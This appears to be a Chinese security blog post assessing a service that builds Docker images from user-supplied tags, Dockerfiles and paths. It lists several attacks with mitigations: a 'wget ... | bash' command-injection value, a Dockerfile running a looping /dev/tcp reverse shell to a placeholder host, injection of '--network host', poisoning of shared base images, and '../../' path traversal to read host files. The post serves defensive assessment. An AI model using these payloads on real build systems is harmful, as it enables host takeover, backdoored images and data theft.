Docker Build时的安全问题

背景

业务提供一个功能：根据用户的代码仓库编译镜像，并且管理镜像。

编译镜像时的业务实现类似下面这样，其中image_name_tag、dockerfile_file、dockerfile_path变量都是从外部web入口传入的。

docker build ${DOCKER_BUILD_ARG} -t ${image_name_tag} -f ${dockerfile_file} ${dockerfile_path}

如果你是这个业务的研发或者安全测试人员，你觉得这里会产生哪些安全漏洞？

我的分析

命令执行

我想大家第一个都会想到"命令执行漏洞"：image_name_tag变量如果用户传入wget -c http://xxx/x.sh | bash -c就能执行远程服务器上的脚本，拿到宿主机服务器权限。

如果研发大哥对传入的变量做了黑名单呢(比如判断是否包含$、`)，还有其他安全漏洞吗？

Dockerfile中反弹shell

-f ${dockerfile_file}这里Dockerfile的内容是用户可控的，所以也很容易想到：我们可以在Dockerfile中写任意命令，获取到"反弹shell"。

FROM ubuntu
MAINTAINER Victor Coisne [e-mail]
RUN echo "while ((1));do sleep 1;/bin/sh -i >& /dev/tcp/x.x.x.x/xxxx 0>&1;done" >> /tmp/1.sh # x.x.x.x/xxxx是ip和端口
RUN bash /tmp/1.sh

在"反弹shell"中我们可以尝试去访问"dockerd服务"所在的宿主机网络，或者宿主机能访问到的网络，然后可以去测试网络中的脆弱服务。

如果研发大哥在这里用iptables对容器和宿主机网络做了隔离，还有其他安全漏洞吗？

用户数据泄漏

Dockerfile中的第一行FROM如果我填写其他用户编译好的镜像名称，是不是有可能读到其他用户镜像呢？

虽然"镜像名称"难猜中，但是这个风险确实是存在的。

如果研发大哥在构建镜像并推送到镜像仓库后，然后用docker rmi清空本地的镜像缓存，就不存在这种风险了，那还有其他安全漏洞吗？

给所有镜像种个后门

image_name_tag是编译后的镜像名，Dockerfile中的第一行FROM指令又需要一个基础镜像，那么是否存在如下可能：A用户使用的基础镜像是B用户build生成。如果存在这个可能，那一个恶意用户build生成带后门的nginx、ubuntu等基础镜像，就可以导致其他用户的生成镜像时都带上后门。

测试后，发现"dockerd服务"默认会使用本地镜像，所以会出现上面的问题。

--pull=true|false
Always attempt to pull a newer version of the image. The default is false.

如果研发大哥使用了docker build --pull=true每次拉取最新镜像，还有其他安全漏洞吗？

命令参数注入--network host

如果传入image_name_tag参数值是xxx --network host,可以达到docker build xxx --network host的效果，配合Dockerfile中反弹shell，可以让shell和"dockerd服务"处于同一个网络。这样iptables对容器和宿主机的网络隔离就不起作用了。

当然你还可以注入--build-arg读宿主机环境变量，或者看看docker build还有没有其他的命令行参数可以拿来利用。

如果研发大哥对参数值判断了，不允许-符号传入呢，还有其他安全漏洞吗？

服务数据泄漏

下面的命令可以把"docker客户端"的/tmp、../../目录下的文件全部拷贝到"编译容器"中，配合Dockerfile中反弹shell，可以在shell中读到"docker客户端"机器上的。

docker build -f ./Dockerfile /tmp
docker build -f ./Dockerfile ../../

同时你可能需要用.dockersignore文件忽略某些文件或目录，避免一些大文件被拷贝到"编译容器"。

所以如果用户传入dockerfile_path参数为../../这种形式的路径，是可以读到机器上的文件。

如果研发大哥判断用户传入的参数，不允许出现..这种目录跳转，还有其他安全漏洞吗？

emm，反正我想不到其他的攻击点了。

另外我想补充说明一下，docker是一个cs架构的软件，所以在做漏洞利用时需要清楚我们是在谁的网络环境下、读谁的文件（谁指的是客户端还是服务端）

总结

本文介绍了一个docker相关的安全评估的案例，包括其中的风险点和修复措施，希望你能有点收获。

在做这个评估时，我的感受是：有时候业务评估非常依赖评估人员自身的经验，并且好像没有办法依赖一个方法论(比如stride)评估出所有风险点。